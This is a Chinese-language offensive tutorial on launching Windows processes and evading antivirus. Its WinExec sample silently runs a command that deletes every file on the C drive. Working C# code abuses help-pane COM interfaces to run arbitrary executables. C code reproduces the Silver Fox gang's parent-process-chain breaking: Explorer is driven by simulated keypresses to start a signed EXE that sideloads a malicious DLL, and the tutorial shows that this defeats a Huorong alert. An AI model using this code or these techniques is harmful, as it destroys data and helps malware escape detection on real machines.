进程启动
进程启动
三个常规api
1.WinExec
函数介绍:运行一个指定的程序。
函数原型如下:
UNIT WINAPI WinExec(
_In_ LPCTSTR lpCmdLine; //要执行应用程序的命令行,如果不包含目录路径,则按应用程序目录,当前目录,Windows系统目录,Windows目录以及Path环境目录来搜索
_In_ UNIT uCmdShow //显示选项,SW_HIDE表示隐藏窗口并激活其他窗口。
)
函数成功:return Value>31
函数失败:返回以下值
- 0:系统内存资源不足
- ERROR_BAD_FORMAT:exe文件无效
- ERROR_FILE_NOT_FOUND:找不到文件
- ERROR_PATH_NOT_FOUND:找不到路径
使用 WinExec 函数执行删除 C 盘下的所有文件和文件夹的命令的示例代码如下:
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "kernel32.lib")
int main()
{
// 创建一个变量,用于存储 WinExec 函数的返回值
UINT uReturn;
// 调用 WinExec 函数,执行一个命令,该命令会删除 C 盘下的所有文件和文件夹
uReturn = WinExec("cmd /c del /f /s /q c:\\*", SW_HIDE);
// 如果执行成功,则打印出成功信息
if (uReturn > 31)
{
printf("Command executed successfully.\n");
}
// 如果执行失败,则打印出失败信息
else
{
printf("Command execution failed.\n");
}
return 0;
}
2. ShellExecute
函数介绍:运行一个外部程序(或者是打开一个已经注册的文件、目录,或打印一个文件等),并进行一定程度的控制
函数原型如下:
HINSTANCE ShellExecute(
HWND hwnd, //显示UI或错误消息的窗口句柄,可以为NULL
LPCTSTR lpOperation, //要执行的操作
LPCTSTR lpFile, //要选择的文件,如果Directory是相对路径则该字符串不能是相对路径
LPCTSTR lpParameters, //执行文件所需参数,可以为NULL
LPCTSTR lpDirectory, //文件目录,如果为当前工作目录则为NULL
INT nShowCmd //窗口显示标志,SW_HIDE表示隐藏窗口,SW_SHOWNORMAL表示激活窗口
);
第二个参数lpOperation的可选项如下:
edit:启动编辑器并打开文档进行编辑。如果lpfile不是文档文件,则该函数将失败。
explore:打开由lpfile指定的文件夹。
find:在由lpdirectory指定的目录中启动搜索。
open:打开由lpfile参数指定的项目可以是文件也可是文件夹。
print:打印由lpfile指定的文件。如果lpfile不是文档文件,则该函数失败。
null:如果可用,则使用默认动词。如果不可用,则使用"打开"动词。如果两个动词都不可用,则系统使用注册表中列出的第一个动词。
函数成功:return Value>32
函数失败:返回一个错误值
使用 ShellExecute 函数执行 whoami 命令的示例代码如下:
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")
int main()
{
// 创建一个变量,用于存储 ShellExecute 函数的返回值
HINSTANCE hReturn;
// 调用 ShellExecute 函数,执行一个命令
hReturn = ShellExecute(NULL, NULL, "cmd", "/c whoami", NULL, SW_HIDE);
// 如果执行成功,则打印出成功信息
if ((int)hReturn > 32)
{
printf("Command executed successfully.\n");
}
// 如果执行失败,则打印出失败信息
else
{
printf("Command execution failed.\n");
}
return 0;
}
3.CreateProcess
函数介绍:创建一个新线程及主线程,这个函数可以被恶意软件用来执行其他的恶意程序,或者隐藏自己的行为。
函数原型如下:
BOOL CreateProcess
(
LPCTSTR lpApplicationName, //要执行的模块名称,99%的情况都为NULL
LPTSTR lpCommandLine, //要执行的命令行,不指明文件类型的话,即为.exe
LPSECURITY_ATTRIBUTES lpProcessAttributes。 //用于确定是否可以由子进程继承返回的新进程对象的句柄,NULL则不继承
LPSECURITY_ATTRIBUTES lpThreadAttributes, //用于确定是否可以由子进程继承返回的新线程对象的句柄,NULL则不继承
BOOL bInheritHandles, //若为true 则进程中的每个可继承句柄都由新进程来继承,若为false即不继承
DWORD dwCreationFlags, //控制优先级和创建进程标志
LPVOID lpEnvironment, //指向新进程环境块指针,若为NULL,则使用调用进程的环境
LPCTSTR lpCurrentDirectory, //指向文件完整目录,若为NULL,则使用调用进程目录
LPSTARTUPINFO lpStartupInfo, //新进程窗口如何显示的STARTUPINFO的结构体
LPPROCESS_INFORMATION lpProcessInformation //指向PROCESS_INFORMATION结构的指针,接受有关新进程的标识符信息
);
使用CreateProcess函数创建并启动一个记事本程序的示例代码如
#include <windows.h>
#include <stdio.h>
int main()
{
// 定义变量
STARTUPINFOA si;
PROCESS_INFORMATION pi;
// 初始化结构体
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// 创建新进程
if (CreateProcessA(
NULL, // 模块名称
(LPSTR)"notepad.exe", // 命令行
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 继承句柄
0, // 创建标志
NULL, // 环境变量
NULL, // 当前目录
&si, // 启动信息
&pi) // 进程信息
)
{
printf("CreateProcess succeeded.\n");
// 等待新进程结束
WaitForSingleObject(pi.hProcess, INFINITE);
// 关闭句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else
{
printf("CreateProcess failed (%d).\n",
GetLastError());
}
return 0;
}
断链
首先我们先说一下进程链的问题,我们在测试我们的loader时可能直接双击就启动了,那么我们的进程链是这样的:
explorer--loader.exe
这个时候进程链就是可信的,我们执行一些敏感的操作也都是可以的。
但是在实战中,在webshell、cs console等地方启动的时候,父进程可能是java.exe、cmd.exe、xxx.exe,进程链如下:
cmd--loader.exe
那么这时候进程链就是不可信的,执行敏感行为是会被弹窗的。
com接口
IHxInteractiveUser这个COM接口存在一个Execute函数可以用来执行一些程序。
代码如下:
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace TestHelpPanel
{
// COM 接口定义
[Guid("8CEC595B-07A1-11D9-B15E-000D56BFE6EE")]
[TypeLibType(TypeLibTypeFlags.FHidden | TypeLibTypeFlags.FOleAutomation)]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
public interface IHxInteractiveUser
{
// 定义 COM 接口中的 Execute 方法
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)]
void Execute([MarshalAs(UnmanagedType.LPWStr), In] string pcUrl);
}
class Program
{
static void Main(string[] args)
{
try
{
// 通过 CLSID 获取 COM 对象的 Type
Type tp = Type.GetTypeFromCLSID(new Guid("8CEC58E7-07A1-11D9-B15E-000D56BFE6EE"));
// 创建 COM 对象实例
IHxInteractiveUser pn = Activator.CreateInstance(tp) as IHxInteractiveUser;
if (pn != null)
{
// 指定文件的 URL
string fileUrl = "file:///C:/Users/James/Desktop/wdf/2.exe";
// 使用接口中的 Execute 方法执行操作
pn.Execute(fileUrl);
}
else
{
// 创建 COM 对象实例失败
Console.WriteLine("Failed to create IHxInteractiveUser instance.");
}
}
catch (Exception ex)
{
// 捕获异常并输出错误信息
Console.WriteLine("An error occurred: " + ex.Message);
}
}
}
}
我们的编译命令如下:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:IHxInteractiveUser.exe program.cs
同理IHxHelpPaneServer也这个COM接口存在一个Execute函数可以用来执行一些程序。
代码如下:
using System;
namespace TestHelpPanel
{
// 定义 COM 接口
[System.Runtime.InteropServices.Guid("8CEC592C-07A1-11D9-B15E-000D56BFE6EE")]
[System.Runtime.InteropServices.InterfaceType(System.Runtime.InteropServices.ComInterfaceType.InterfaceIsIUnknown)]
[System.Runtime.InteropServices.ComImport]
public interface IHxHelpPaneServer
{
// 显示任务
void DisplayTask([System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.BStr)] string bstrUrl);
// 显示内容
void DisplayContents([System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.BStr)] string bstrUrl);
// 显示搜索结果
void DisplaySearchResults([System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.BStr)] string bstrSearchQuery);
// 执行操作
void Execute([System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)] string pcUrl);
}
class Program
{
static void Main(string[] args)
{
try
{
// 通过 CLSID 获取 COM 对象的 Type
System.Type tp = System.Type.GetTypeFromCLSID(new System.Guid("8CEC58AE-07A1-11D9-B15E-000D56BFE6EE"));
// 创建 COM 对象实例
IHxHelpPaneServer helpPane = System.Activator.CreateInstance(tp) as IHxHelpPaneServer;
if (helpPane != null)
{
// 指定文件的 URL
string fileUrl = "file:///D:/Users/xxx/source/repos/gzhfx2/Debug/cccc.exe";
// 使用接口中的 Execute 方法执行操作
helpPane.Execute(fileUrl);
// 如果需要,你还可以调用其他方法,例如显示任务、显示内容或显示搜索结果
// helpPane.DisplayTask("your_task_url");
// helpPane.DisplayContents("your_contents_url");
// helpPane.DisplaySearchResults("your_search_query");
}
else
{
// 创建 COM 对象实例失败
System.Console.WriteLine("Failed to create IHxHelpPaneServer instance.");
}
}
catch (System.Exception ex)
{
// 捕获异常并输出错误信息
Console.WriteLine("An error occurred: " + ex.Message);
}
}
}
}
我们的编译命令如下:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:IHxHelpPaneServer.exe program.cs
下面是我们断链的效果:
银狐团伙的断链手法
参考文章: 一文秒懂“银狐”四大绕过手法
我们接下来复现银狐团伙的手法进行断链操作,我们这里白加黑用到了三个程序,分别是:
- vbn.exe是一个模拟鼠标点击程序,非恶意;
- 2.exe是一款带有合法签名软件;
- libcef.dll是一个恶意dll文件
即Vbn.exe 2个文件 白EXE 黑DLL
我们的进程链原本是这样的:Vbn.exe ——白EXE——黑DLL ,但是我们通过模拟按键的方式进行断链,变成Explorer——白EXE——黑DLL
代码的整体思路是这样的,我们先通过ShellExecute打开指定目录的文件夹,然后将资源管理器窗口设置为前台窗口,然后模拟按键按下2和回车,即启动了2.exe,并且保证了父链是explorer。
代码如下:
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")
void SimulateKeyPress(WORD keyCode) {
INPUT input;
input.type = INPUT_KEYBOARD;
input.ki.wVk = keyCode;
input.ki.dwFlags = 0; // 0表示按下按键
SendInput(1, &input, sizeof(INPUT));
// 等待一小段时间
Sleep(100);
input.ki.dwFlags = KEYEVENTF_KEYUP; // KEYEVENTF_KEYUP表示松开按键
SendInput(1, &input, sizeof(INPUT));
}
int main()
{
// 创建一个变量,用于存储 ShellExecute 函数的返回值
HINSTANCE hReturn;
// 调用 ShellExecute 函数,执行一个命令
hReturn = ShellExecute(NULL, L"explore", L"C:\\Users\\James\\Desktop", NULL, NULL, SW_HIDE);
if ((int)hReturn > 32) {
// 打开成功
printf("Explorer opened successfully.\n");
}
else {
// 打开失败
printf("Failed to open Explorer. Error code: %lu\n", GetLastError());
}
HWND hExplorer = FindWindow(L"CabinetWClass", NULL);
if (hExplorer) {
// 将资源管理器窗口设置为前台窗口
SetForegroundWindow(hExplorer);
printf("Switched to Explorer window.\n");
}
else {
printf("Explorer window not found.\n");
}
SimulateKeyPress('2');
SimulateKeyPress(VK_RETURN);
system("pause");
return 0;
}
下面是我们直接cmd启动时进行截图操作时火绒报的警:
但是当我们进行断链后执行截图操作后火绒毫无反应: